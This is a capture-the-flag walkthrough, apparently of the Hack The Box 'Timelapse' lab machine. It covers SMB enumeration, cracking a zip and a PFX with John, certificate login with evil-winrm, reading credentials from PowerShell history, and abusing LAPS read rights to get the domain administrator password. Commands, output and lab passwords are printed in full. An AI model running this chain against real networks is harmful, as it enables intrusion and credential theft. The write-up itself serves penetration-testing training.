Timelapse

Synopsis

Timelapse is an Easy Windows which involves accessing a publicly accessible SMB share containing a zip file with a PFX key. This zip file requires a password, which can be cracked by using John. Extracting the zip file shows it contains a password encrypted PFX file which can be gathered with John as well by converting the PFX file to a hash format readable by John. From the PFX file an SSL certificate and a private key can be extracted which is used for logging in with WinRM. After authentication we discover a PowerShell history file containing login credentials for svc_deploy user. User enumeration shows that svc_deploy is part of a group named LAPS_Readers . The LAPS_Readers group has the ability to manage passwords in LAPS, which allows any user from this group to read the local passwords for machines in the domain so by abusing this trust we retrieve the password for Administrator and gain a WinRM session..

Skills

- Enumeration
- Hash cracking
- Knowledge of Windows
- LAPS privilege escalation

Exploitation

As always we start with the nmap to check what services/ports are open

```
└─# nmap -A 10.10.11.152
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-16 23:48 EDT
Nmap scan report for 10.10.11.152
Host is up (0.033s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE          VERSION
53/tcp   open  domain           Simple DNS Plus
88/tcp   open  kerberos-sec     Microsoft Windows Kerberos (server time: 2023-09-17 11:49:10Z)
135/tcp  open  msrpc            Microsoft Windows RPC
139/tcp  open  netbios-ssn      Microsoft Windows netbios-ssn
389/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap             Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-09-17T11:49:29
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h59m58s
```

Judging by the open ports we can conclude that we deal with a domain controller

As the first step we checked the SMB shares, if we have an anonymous access

```
└─# smbmap -H 10.10.11.152 -u anonymous
[+] Guest session       IP: 10.10.11.152:445    Name: timelapse.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Shares                                                  READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
```

And we got an anonymous access - accessing the share “Shares” what gave us two directories, inside of which we found .pfx file

```
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

                6367231 blocks of size 4096. 1271807 blocks available
```

```
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

                6367231 blocks of size 4096. 2088640 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (16.6 KiloBytes/sec) (ave
smb: \Dev\> cd ..
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

                6367231 blocks of size 4096. 2088640 blocks available
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
  .                                   D        0  Mon Oct 25 11:48:42 2021
  ..                                  D        0  Mon Oct 25 11:48:42 2021
  LAPS.x64.msi                        A  1118208  Mon Oct 25 10:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 10:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 10:57:40 2021
  LAPS_TechnicalSpecification.docx    A    72683  Mon Oct 25 10:57:44 2021
```

PFX file can be abused to forge a malicious certificate and provide us with the remote access to the system

So first of all we used pfx2john to get a hash and crack it

```
└─# /usr/sbin/zip2john *.zip
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts
winrm_backup.zip/legacyy_dev_auth.pfx:$pkzip$1*1*2*0*965*9fb*12ec5683*0*4e*8*965*72aa*1a84b40ec6b5c20abd7d695aa16d8c88a3cec7243
6abd97366b7aaea736a0cda557a1d82727976b2243d1d9a4032d625b7e40325220b35bae73a3d11f4e82a408cb00986825f936ce33ac06419899194de4b54c9
6305fa1cbe6855e8f9e80c058a723c396d400b707c558460db8ed6247c7a727d24cd0c7e93fbcbe8a476f4c0e57db890a78a5f61d1ec1c9a7b28b98a81ba94a
ae22577a385700fdf73c99993695b8ffce0ef90633e3d18bf17b357df58ea7f3d79f22a790606b69aed500db976ae87081c68d60aca373ad25ddc69bc27ddd3
4bbca38b4c2b3ee329ac7cf30e5af07f13d860a072784e753a999f3dd0d2c3bbb2269eeffe2f0b741441538e429cb9e8beee2999557332ac447393db6ed3585
fb74870dbf76e7dc76859392bf913da2864555b6ed2a384a2ae8a6c462e5115adbf385f073cfc64ec7a4646386cf72b5529bbf48af050640f26c26e337add96
c2b853ce29de32c05634afc4dc9ca8df991b73e10db5bb9cd3fc807bfe05bb789a4b4a525001d253ca6f67abc928ebe7777a0b2d06d7fd2d61123c7e6b8050f
672582e7329cb78e20793b970407ea0bb8787c93875be25432987b2fb385c08e1970e5f8868db466476ef41b157eaf4d9a69508d57166213d81f1f981cffd5a
d41104c59e6f4d782868f38ae64c7b0c29fb0e05d18429c26dc3f5a9c4ec9328b0aff3a41679f9f12e9b4e2cc9dfca5a67c021a093549863923422ada4ccf08
abecdad3c83a31e276a23542ff08cdc7d7ec6576dbda1edf1326174b13c7f078d6ea4dc90a743cdf6aa076a17250ac2fff6de813ffc58dd4ccda187b6c7890
8110b99fa2915f0476a08b107965fa5e74c05018db0d9a8ecc893780027b58225e091b50aa07684f1990508275d87fd7a8f28193ca41d9ce649e3de4885913b
49def6d9ca95e6ace6613eabf758c6399639f1f7779fc9aeee32d518a0db9a046340e002445b8ae9a5cb630a194a490d326247f3582680814dfed79496475e4
35cd7919453ce0a6b62116c0ffa0fc7c4bba77bbba080092541697c3200edc7e9aa001a01fc0063b27159384538ecb7cddab32a6feca01853ac712a0e21a436
9a2e49fc82fd961106b7b73d2e24603711300ddc711b8cc284cc284777d230ebcc140ab029667 6f465da1afeb40fe2f4f9636238c09a9716a1f3071fd2653b9
af0d22460e6d28153f146d01ff0f2388894b0541a9df950e1515a2397360e09c6dfd92feaf068f560be034bcf26cabc76be09a94254bbbf88f4ee85241c12be
876a893fdc9fded2ea1ac701001cf0d34eaba84dd4815a28dc4cfe6c3abc35a057f6b95dd4fdb07a99edc0a020273f5eb9b2d2e6686deda3c1c9c5deb85b919
81f0106a8a1e38f6da99a3b973a0598aca2ba36cf9ef0b4a9da6ae327069a88677b7e5303a08cea1a37f2623d98233672e425693e16ade5b16d49669e2002ae
618b9f0332a4848a29e9e3eccef234cf2392d46c33be6c3c75e57f6c19998febadf2c6a3e22a6e4276e6863f8d16ecec1f4eca9495a031e5f7426bf90a9831b
4a14727b7b876786b35873cf24deb921662c458d05b8c8872d88e8889407024e46d06d8f3cf9a1d144deb91acf2273c13600bc2bbc9c1405269c3eff0042d05
57d27122d8a6afe09261f206ccde7e7c4f69c8d46d4e101849c02c9eecc65e365ebf48e3ce836385dcfd824e085b0104b1210b5acfedb3df857cdc2ad997666
822ebd728b2d1dbce2872e9fa113c19ed251e7c103022b5029b63e35bcd0ef75bf13f1bb56499f1505b6eef27aa6fd079f4d4156c566a76d8b6bcdd518cdd6e
7646ba9bfe08580df4582be056dcc68232efef533ea90c9c8d613e22fd4f2d75c6a89e4643ff3717a21dc0624a1c844549fc9700d137865b018eef82803ec1b
25677d21530b14a8ee27c6507ff31549430f66488f4ef996cf784f37bbf103e49f17bef1ae41e02dce2a3715127942fcaec5da410f04174664b7eb0788e8392
```

```
└─# openssl pkcs12 -in *.pfx -info
Enter Import Password:
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
Bag Attributes
    Microsoft Local Key set: <No Values>
    localKeyID: 01 00 00 00
    friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes
    X509v3 Key Usage: 90
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIbkbe9mNa4lMCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBBthoyEvFdqdUmFie4t67EdBIIE
0PQO7JXZAY+ZQEOkj2A7vudzMWbXzBYc024lRCms05/j1rC4DaNct5E7dWOdNw4z
biHBlLbQvGsL9S92i04Alf/7h0rJQ5NBgJ5+dsqebtZ+hnJ/7i9r3XDChyVVjuhJ
qgjAHw2LQPLNAmqcJJmXsHuFLeY6LxsvZXGrFiUAFJZQAg31WOeIblIkBctySTUe
jbnPLMJUVtT7G+u7Df1Z7A2ewfXWRdamUm16uEP1bjC70×CErL1M38h5fXSkVZ+Q
V1F8Lg11n57P+fo0WLQ5ezW4RHZsvazz/c8RhqrCsS2tgkMffn/7XfIA0McGB0T2
qOTDaUqfosTl2WV37V55tnMUiAZgmLRDcy/8Lm5m+Cn+pgtilOsxuI7zYUYucsl0
aWAX4PrcntSPjNRdi9MtzxLUg2IgX1UNBF3Uiidlx6h5lDEnActX9u02BHrLLEwa
vkk6v7kL4yhwjDr1RNilidjysOT0FDEyiYiuGiWS466VrZhCVeOGxG/UBSPAdVrN
ye04r3Te2ccnliPTURPuQT+RrrflWpLKFog0WNjWSjcD1/Wcw+R5N3nnmBzwrliD
7sabKuXMBywQatDYcbQXa00ODsDVhncED83GvVuC072Jz0cQfjkQuDIHQIbT6GmL
azcHk6MYwUut5Gg4gqu4aHrs4vNpTs0HnDdjbo3d78weLwo4O7jOrkjcguV9xE8/
xm2UzOniF6eIZMhIvvu9Xqyjizzj5ZaE+Oe5g+FiVdLghEt9iZnVlzAKGU5N0tDG
0s0gbqr+GQBPcalTKDXHUIoNl49edXHz/GkOOSKzGbWC5XcXd4rZ8afpgnJhflzQ
NKMuZDpLU1jJnNY3jltp5t7zv6VVpaMOGb0/r19Upu/w0OIoTRtXYgaEt9aNvxXg
PpdsU8oTV6Dqlt0FpkD2Qa6270JPIQocgAfBa0yz0n5hDQ8CiPWe6j5CRtF59mys
jamD4j+lJdVOIHnVzF+dhv2ebmLhiKJ2XanlAKfyxNaCaW1Qi0b6ehlt/q/vxTkE
```

next , we used openssl to forge the certificate

```
└─# openssl pkcs12 -in *.pfx -nocerts -out key.pem -nodes
Enter Import Password:

┌──(root㉿kali)-[~/Desktop/Boxes/Timelapse.htb]
└─# ls
key.pem  legacyy_dev_auth.pfx  winrm_backup.zip

┌──(root㉿kali)-[~/Desktop/Boxes/Timelapse.htb]
└─# ls- al
Command 'ls-' not found, did you mean:
  command 'lsd' from deb lsd
  command 'lsc' from deb livescript
  command 'lsh' from deb lsh-client
  command 'lsm' from deb lsm
  command 'lsw' from deb suckless-tools
  command 'ls' from deb coreutils
Try: apt install <deb name>

┌──(root㉿kali)-[~/Desktop/Boxes/Timelapse.htb]
└─# ls -al
total 20
drwxr-xr-x  2 root root 4096 Sep 17 04:14 .
drwxr-xr-x 89 root root 4096 Sep 16 23:45 ..
-rw-------  1 root root 1952 Sep 17 04:14 key.pem
-rwxr-xr-x  1 root root 2555 Oct 25  2021 legacyy_dev_auth.pfx
-rw-r--r--  1 root root 2611 Sep 17 03:22 winrm_backup.zip

┌──(root㉿kali)-[~/Desktop/Boxes/Timelapse.htb]
└─# openssl pkcs12  -in *.pfx -nokeys -out key.cert
Enter Import Password:

┌──(root㉿kali)-[~/Desktop/Boxes/Timelapse.htb]
└─# ls- al
```

And with that forged certificate we got a shell via evil-winrm as a user legacyy

```
└─# ./evil-winrm.rb -i 10.10.11.152 -S -c ~/Desktop/Boxes/Timelapse.htb/key.cert -k ~/Desktop/Boxes/Timelapse.htb/key.pem

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents>
```

Enumeration of the files stored on the system, gave us powershell history file where we found password for user svc_deploy

```
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetConte
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell> cd PSREadLine
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine> dir


    Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/3/2022  11:46 PM            434 ConsoleHost_history.txt


*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine> cd type ConsoleHos
A positional parameter cannot be found that accepts argument 'ConsoleHose_history.txt'.
At line:1 char:1
+ cd type ConsoleHose_history.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Set-Location], ParameterBindingException
    + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine> type ConsoleHost_h
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSREadLine>
```

And this user is a member of LAPS group, what means that he can read radnomdly generated administrator password

```
*Evil-WinRM* PS C:\Users\legacyy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:38 PM
Password expires             Never
Password changeable          10/26/2021 12:12:38 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.
```

So we used evil-winrm again to get a shell as svc_deploy

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
```

And from the we extracted administrator password

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> get-AdComputer dc01 -property "


DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : }i8+;+498u0$)bXq9G8K[XYA
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
```

What gave us an access as the administrator via evil-winrm

```
┌──(root㉿kali)-[/opt/evil-winrm]
└─# ./evil-winrm.rb -i 10.10.11.152 -u Administrator -p '}i8+;+498u0$)bXq9G8K[XYA' -S

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function i

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-pa

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hoami
The term 'hoami' is not recognized as the name of a cmdlet, function, script file, or operable program.
uded, verify that the path is correct and try again.
At line:1 char:1
+ hoami
+ ~~~~~
    + CategoryInfo          : ObjectNotFound: (hoami:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```